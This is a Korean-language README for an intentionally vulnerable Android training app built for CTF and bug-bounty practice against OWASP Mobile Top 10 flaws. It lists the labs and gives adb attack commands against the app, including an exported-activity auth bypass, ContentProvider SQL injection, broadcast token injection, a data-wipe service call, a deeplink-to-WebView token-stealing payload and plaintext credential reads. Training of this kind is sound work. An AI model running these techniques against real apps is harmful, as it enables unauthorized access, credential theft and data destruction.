
모바일 보안 연구 및 버그 바운티 실습을 위한 의도적으로 취약한 Android 앱 - OWASP Mobile Top 10
모바일 보안 연구, 버그 바운티 실습, 그리고 CTF 스타일 학습을 위한 의도적으로 취약하게 만든 Android 애플리케이션입니다. OWASP Mobile Top 10에 매핑된 21개의 문서화된 취약점을 포함하고 있습니다.
git clone [email protected]:b4sith-sec/Gu3ssWeak.git
cd Gu3ssWeak
./gradlew assembleDebug
adb install -r app/build/outputs/apk/debug/app-debug.apk
앱을 실행하고, 각 랩을 하나씩 풀어가며 플래그를 획득한 뒤, 앱 내 CTF 스코어보드에 제출하세요.
| 카테고리 | 취약점 | 플래그 |
|---|---|---|
| WebView | WV-01 ~ WV-05 | 5 |
| Deeplink | DL-01 ~ DL-04, DL-CHAIN | 5 |
| 인증 / SQL 인젝션 | SQL-01 | 1 |
| 관리자 패널 | AP-01 ~ AP-04 | 2 |
| ContentProvider | CP-01 | 1 |
| Broadcast Receiver | BR-01 ~ BR-03 | 2 |
| Service | SV-01, SV-02a, SV-02b | 2 |
| 네트워크 가로채기 | NET-01 | 1 |
| 뱅킹 / OTP | OTP-01 | 1 |
| LFI | LFI-01 | 1 |
| 저장소 | STORE-01 | 1 |
| XSS | XSS-01, XSS-02 | 2 |
총 20개의 플래그가 있으며, 모두 획득하면 마스터 플래그가 주어집니다.
| 랩 목록 | CTF 스코어보드 |
|---|---|
| lab |
# 관리자 패널 - exported, 권한 없음
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity --ez is_authenticated true
adb shell "content query --uri content://com.gu3sswe4k.app.contacts/contacts/1 --where \"1) OR (1=1\""
# 브로드캐스트를 통한 토큰 주입
adb shell am broadcast -a com.gu3sswe4k.app.SEND_TOKEN --es token FAKE --es user attacker
# exported 서비스를 통한 데이터 삭제
adb shell am startservice -n com.gu3sswe4k.app/.services.DataSyncService --es action wipe_user_data
# WebView RCE 체인으로 가는 Deeplink
adb shell am start -a android.intent.action.VIEW -d "vulndroid://settings?redirect=com.gu3sswe4k.app.activities.WebViewActivity&url=javascript:VulnBridge.stealToken()"
# 평문으로 저장된 자격 증명 읽기
adb shell run-as com.gu3sswe4k.app cat /data/data/com.gu3sswe4k.app/shared_prefs/login_prefs.xml
# 로그에 남는 시크릿 감시
adb logcat | grep Gu3ssWeak
이 프로젝트는 순전히 교육 목적입니다. 모든 취약점은 의도적이며 문서화되어 있습니다. 여기에 소개된 기법은 실제 앱에도 적용되지만, 본인이 소유하거나 테스트 권한을 부여받은 시스템에서만 테스트하세요. 전체 면책 조항 및 책임 있는 공개 지침은 SECURITY.md를 참조하세요.
MIT - LICENSE를 참조하세요.